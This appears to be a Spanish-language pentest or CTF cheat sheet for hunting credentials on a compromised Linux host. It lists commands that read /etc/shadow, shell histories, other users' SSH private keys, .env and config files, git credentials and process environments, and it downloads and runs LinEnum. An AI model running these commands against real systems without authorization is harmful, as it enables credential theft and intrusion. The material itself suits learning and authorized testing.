Skip to content

Búsqueda de Credenciales e Información Sensible

Archivo /etc/passwd

¿Qué contiene? Información de todos los usuarios locales (no contraseñas).

Formato:

usuario:x:UID:GID:Nombre Completo:Home:/bin/bash
bash
cat /etc/passwd
cat /etc/passwd | cut -d: -f1        # Solo usuarios
awk -F: '$3 >= 1000 {print $1}' /etc/passwd  # Usuarios reales

Archivo /etc/shadow

¿Qué contiene? Hashes de contraseñas de los usuarios (solo accesible como root).

Formato:

usuario:$6$salt$hash:fecha:min_dias:max_dias:aviso:inactividad:expiración:bandera
bash
sudo cat /etc/shadow

# Si no puedes acceder como root, busca archivos legibles
find / -name "shadow*" -readable 2>/dev/null

Archivo /etc/group

¿Qué contiene? Información de grupos del sistema.

bash
cat /etc/group

Historial de Bash

Los comandos se guardan incluso si cierras sesión sin exit.

bash
history
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.history

# Historial de otros usuarios
cat /home/usuario/.bash_history

# Buscar contraseñas
history | grep -i "password\|pass\|pwd\|credential"
cat ~/.bash_history | grep -iE "password|pass|mysql|ssh|psql"

Archivo .bashrc y .bash_profile

Pueden contener credenciales o variables de entorno sensibles.

bash
cat ~/.bashrc
cat ~/.bash_profile
cat ~/.zshrc
cat ~/.profile

# Buscar en múltiples usuarios
for user in $(cut -d: -f1 /etc/passwd); do
    echo "=== $user ===" 
    cat /home/$user/.bashrc 2>/dev/null | grep -i "password\|token\|secret"
done

Claves SSH Privadas

bash
# Tu clave privada
ls -la ~/.ssh/
cat ~/.ssh/id_rsa
cat ~/.ssh/id_ecdsa
cat ~/.ssh/id_ed25519

# Claves de otros usuarios
find / -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null

# Claves autorizadas (qué claves pueden conectarse)
cat ~/.ssh/authorized_keys
cat /root/.ssh/authorized_keys

# Usar claves encontradas
ssh -i clave_encontrada usuario@servidor

Archivos de Configuración

Apache

bash
cat /etc/apache2/apache2.conf
cat /etc/apache2/envvars
cat /etc/apache2/sites-enabled/*.conf
grep -r "password" /etc/apache2 2>/dev/null

Nginx

bash
cat /etc/nginx/nginx.conf
cat /etc/nginx/sites-enabled/*.conf
grep -r "password" /etc/nginx 2>/dev/null

MySQL/MariaDB

bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf
cat /home/usuario/.my.cnf
grep -r "password" /etc/mysql 2>/dev/null

# Credenciales en applications.conf
cat /etc/mysql/debian.cnf

PostgreSQL

bash
cat /etc/postgresql/*/main/postgresql.conf
cat ~/.pgpass
grep -r "password" /etc/postgresql 2>/dev/null

Wordpress

bash
cat /var/www/html/wp-config.php | grep -i "password\|user\|database"
cat /var/www/wordpress/wp-config.php | grep DB_

Laravel

bash
cat /var/www/html/.env
cat /var/www/laravel/.env
grep -i "password\|database\|secret" /var/www/html/.env

Credenciales en Archivos de Aplicación

bash
# Buscar en toda la aplicación
find /var/www -name "*.conf" -o -name "*.config" -o -name ".env" 2>/dev/null | xargs grep -l "password"

# En directorio home
find ~ -name "*.conf" -o -name "*.config" 2>/dev/null | xargs grep -i "password\|secret\|token"

GIT - Credenciales Guardadas

bash
# Credenciales globales
cat ~/.gitconfig
cat ~/.git-credentials

# En repositorio local
cat .git/config
cat .git/HEAD

# Historial de commits (buscar credenciales)
git log -p | grep -i "password\|secret\|token"
git log --all --oneline | head -20

Archivos de Notas y Documentos

bash
find ~ -name "*.txt" -o -name "*.doc" -o -name "*.pdf" -o -name "*.xlsx" 2>/dev/null

# Archivos del escritorio
ls -la ~/Desktop/
ls -la ~/Documents/
ls -la ~/Downloads/

# Buscar menciones de credenciales
grep -r "password" ~ 2>/dev/null | grep -v ".git"
find ~ -type f -exec grep -l "password\|secret\|credentials" {} \; 2>/dev/null

Variable de Entorno - Búsqueda de Secretos

bash
env | grep -i "password\|secret\|token\|api\|key"
printenv | grep -i "password\|secret"

# Variables en procesos
cat /proc/self/environ | tr '\0' '\n' | grep -i password
cat /proc/[PID]/environ | tr '\0' '\n'

Archivos Temporales

bash
ls -la /tmp/
ls -la /var/tmp/
ls -la /dev/shm/

# Archivos recientes
find /tmp -type f -mmin -60 2>/dev/null  # Modificados en últimos 60 minutos

Bases de Datos

SQLite

bash
find / -name "*.db" -o -name "*.sqlite" 2>/dev/null

# Examinar
sqlite3 base.db ".dump"
sqlite3 base.db "SELECT * FROM usuarios;"

Redis

bash
# Si Redis corre localmente
redis-cli
> keys *
> get clave

Logs del Sistema

bash
# Logs de autenticación
cat /var/log/auth.log
cat /var/log/secure
grep "password\|su:" /var/log/auth.log

# Logs de aplicaciones
cat /var/log/apache2/access.log
cat /var/log/apache2/error.log
cat /var/log/nginx/access.log
cat /var/log/mysql/error.log
cat /var/log/postgres/postgresql.log

Búsqueda Masiva de Credenciales

bash
# En todo el sistema (lento)
grep -r "password\|passwd\|pass\|credential\|secret\|token" / --include="*.conf" --include="*.config" --include="*.txt" 2>/dev/null | head -50

# En directorio de aplicación
grep -r "password" /var/www 2>/dev/null

# En directorios sensibles
grep -r "password" /root /home /opt 2>/dev/null

# En archivos específicos
find / -name "config*" -o -name "secret*" -o -name "credential*" 2>/dev/null | xargs cat

Herramientas Automáticas

LinEnum

bash
# Descargar
wget https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh
chmod +x LinEnum.sh

# Ejecutar
./LinEnum.sh
./LinEnum.sh -s    # Búsqueda completa de archivos

Searchsploit (en Kali)

bash
# Buscar archivos potencialmente sensibles en el system
ls -la /var/www/.env
find /var/www -name ".env" -o -name "web.config" -o -name "connection.xml"

Contraseñas en la Línea de Comandos

CRÍTICO: Si se ejecutó comando con contraseña visible, aparecerá en:

bash
history
ps aux
ps aux | grep mysql
ps aux | grep postgres
ps aux | grep ssh

# Ejemplo vulnerable:
mysql -u root -pPassword123 banco
# Aparecería en "ps aux" como:
# mysql -u root -pPassword123 banco

Archivo /etc/sudoers

Si puedes leerlo (raro pero posible):

bash
cat /etc/sudoers
sudo -l      # Ver qué puedes ejecutar como sudo

# Ejemplo output:
# User usuario may run the following commands:
#     (root) NOPASSWD: /usr/bin/systemctl
#     (root) /usr/bin/mysql